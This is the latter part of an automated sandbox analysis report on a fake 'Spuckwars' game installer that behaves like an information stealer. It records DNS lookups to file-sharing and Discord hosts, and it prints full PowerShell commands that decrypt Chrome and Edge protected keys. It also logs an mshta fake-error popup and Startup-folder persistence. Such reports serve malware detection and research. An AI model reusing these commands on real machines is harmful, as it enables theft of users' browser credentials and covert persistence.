                                                                                                                                  Apr 10, 2024 08:28:39.771059990 CEST1.1.1.1192.168.2.40x2b8No error (0)api.gofile.io151.80.29.83A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.431814909 CEST1.1.1.1192.168.2.40xa6feNo error (0)ptb.discord.com162.159.128.233A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.431814909 CEST1.1.1.1192.168.2.40xa6feNo error (0)ptb.discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.431814909 CEST1.1.1.1192.168.2.40xa6feNo error (0)ptb.discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.431814909 CEST1.1.1.1192.168.2.40xa6feNo error (0)ptb.discord.com162.159.137.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.431814909 CEST1.1.1.1192.168.2.40xa6feNo error (0)ptb.discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.445409060 CEST1.1.1.1192.168.2.40xb009No error (0)discord.com162.159.136.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.445409060 CEST1.1.1.1192.168.2.40xb009No error (0)discord.com162.159.135.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.445409060 CEST1.1.1.1192.168.2.40xb009No error (0)discord.com162.159.138.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.445409060 CEST1.1.1.1192.168.2.40xb009No error (0)discord.com162.159.137.232A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.445409060 CEST1.1.1.1192.168.2.40xb009No error (0)discord.com162.159.128.233A (IP address)IN (0x0001)false

                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                  • chrome.cloudflare-dns.com

                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                  0192.168.2.449742162.159.61.3443340C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                  2024-04-10 06:28:39 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                  Host: chrome.cloudflare-dns.com
                                                                                                                                  Connection: keep-alive
                                                                                                                                  Content-Length: 128
                                                                                                                                  Accept: application/dns-message
                                                                                                                                  Accept-Language: *
                                                                                                                                  User-Agent: Chrome
                                                                                                                                  Accept-Encoding: identity
                                                                                                                                  Content-Type: application/dns-message
                                                                                                                                  2024-04-10 06:28:39 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                  Data Ascii: wwwgstaticcom)TP
                                                                                                                                  2024-04-10 06:28:39 UTC247INHTTP/1.1 200 OK
                                                                                                                                  Server: cloudflare
                                                                                                                                  Date: Wed, 10 Apr 2024 06:28:39 GMT
                                                                                                                                  Content-Type: application/dns-message
                                                                                                                                  Connection: close
                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                  Content-Length: 468
                                                                                                                                  CF-RAY: 8720ad94ce9c07b0-IAD
                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                  2024-04-10 06:28:39 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d3 00 04 ac fd 3f 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                  Data Ascii: wwwgstaticcom?^)


                                                                                                                                  Statistics

                                                                                                                                  CPU Usage

                                                                                                                                  Click to jump to process

                                                                                                                                  Memory Usage

                                                                                                                                  Click to jump to process

                                                                                                                                  High Level Behavior Distribution

                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                  Behavior

                                                                                                                                  Click to jump to process

                                                                                                                                  System Behavior

                                                                                                                                  General

                                                                                                                                  Target ID:0
                                                                                                                                  Start time:08:28:03
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                  Commandline:"C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe"
                                                                                                                                  Imagebase:0x400000
                                                                                                                                  File size:69'319'004 bytes
                                                                                                                                  MD5 hash:320696B6328D7D82817DA50697FCB673
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:low
                                                                                                                                  Has exited:false

                                                                                                                                  General

                                                                                                                                  Target ID:2
                                                                                                                                  Start time:08:28:25
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  Imagebase:0x7ff760350000
                                                                                                                                  File size:162'028'032 bytes
                                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Antivirus matches:
                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                  Reputation:low
                                                                                                                                  Has exited:false

                                                                                                                                  General

                                                                                                                                  Target ID:7
                                                                                                                                  Start time:08:28:27
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                                                                                                                  Imagebase:0x7ff7aa240000
                                                                                                                                  File size:289'792 bytes
                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:8
                                                                                                                                  Start time:08:28:27
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                  File size:862'208 bytes
                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:9
                                                                                                                                  Start time:08:28:28
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\tasklist.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:tasklist
                                                                                                                                  Imagebase:0x7ff6ec640000
                                                                                                                                  File size:106'496 bytes
                                                                                                                                  MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:moderate
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:10
                                                                                                                                  Start time:08:28:29
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1624 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                  Imagebase:0x7ff760350000
                                                                                                                                  File size:162'028'032 bytes
                                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                                  Has elevated privileges:false
                                                                                                                                  Has administrator privileges:false
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:low
                                                                                                                                  Has exited:false

                                                                                                                                  General

                                                                                                                                  Target ID:11
                                                                                                                                  Start time:08:28:32
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2024 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                                  Imagebase:0x7ff760350000
                                                                                                                                  File size:162'028'032 bytes
                                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:low
                                                                                                                                  Has exited:false

                                                                                                                                  General

                                                                                                                                  Target ID:12
                                                                                                                                  Start time:08:28:31
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                                                                                                                  Imagebase:0x7ff7aa240000
                                                                                                                                  File size:289'792 bytes
                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:13
                                                                                                                                  Start time:08:28:31
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                  File size:862'208 bytes
                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:14
                                                                                                                                  Start time:08:28:31
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')"
                                                                                                                                  Imagebase:0x7ff7aa240000
                                                                                                                                  File size:289'792 bytes
                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:15
                                                                                                                                  Start time:08:28:31
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                  File size:862'208 bytes
                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:16
                                                                                                                                  Start time:08:28:31
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\tasklist.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:tasklist
                                                                                                                                  Imagebase:0x7ff6ec640000
                                                                                                                                  File size:106'496 bytes
                                                                                                                                  MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:moderate
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:17
                                                                                                                                  Start time:08:28:31
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')
                                                                                                                                  Imagebase:0x7ff788560000
                                                                                                                                  File size:452'608 bytes
                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:18
                                                                                                                                  Start time:08:28:35
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')"
                                                                                                                                  Imagebase:0x7ff7aa240000
                                                                                                                                  File size:289'792 bytes
                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:19
                                                                                                                                  Start time:08:28:35
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                  File size:862'208 bytes
                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Reputation:high
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:20
                                                                                                                                  Start time:08:28:35
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')
                                                                                                                                  Imagebase:0x7ff788560000
                                                                                                                                  File size:452'608 bytes
                                                                                                                                  MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:21
                                                                                                                                  Start time:08:28:42
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""
                                                                                                                                  Imagebase:0x7ff7aa240000
                                                                                                                                  File size:289'792 bytes
                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:22
                                                                                                                                  Start time:08:28:42
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                  File size:862'208 bytes
                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:23
                                                                                                                                  Start time:08:28:42
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
                                                                                                                                  Imagebase:0x7ff7aa240000
                                                                                                                                  File size:289'792 bytes
                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:24
                                                                                                                                  Start time:08:28:42
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Windows\System32\mshta.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"
                                                                                                                                  Imagebase:0x7ff7c2890000
                                                                                                                                  File size:14'848 bytes
                                                                                                                                  MD5 hash:0B4340ED812DC82CE636C00FA5C9BEF2
                                                                                                                                  Has elevated privileges:true
                                                                                                                                  Has administrator privileges:true
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Has exited:true

                                                                                                                                  General

                                                                                                                                  Target ID:25
                                                                                                                                  Start time:08:28:56
                                                                                                                                  Start date:10/04/2024
                                                                                                                                  Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe
                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                  Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe"
                                                                                                                                  Imagebase:0x7ff79dcf0000
                                                                                                                                  File size:162'028'032 bytes
                                                                                                                                  MD5 hash:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                                  Has elevated privileges:false
                                                                                                                                  Has administrator privileges:false
                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                  Antivirus matches:
                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                  Has exited:false

                                                                                                                                  Disassembly

                                                                                                                                  ⊘No disassembly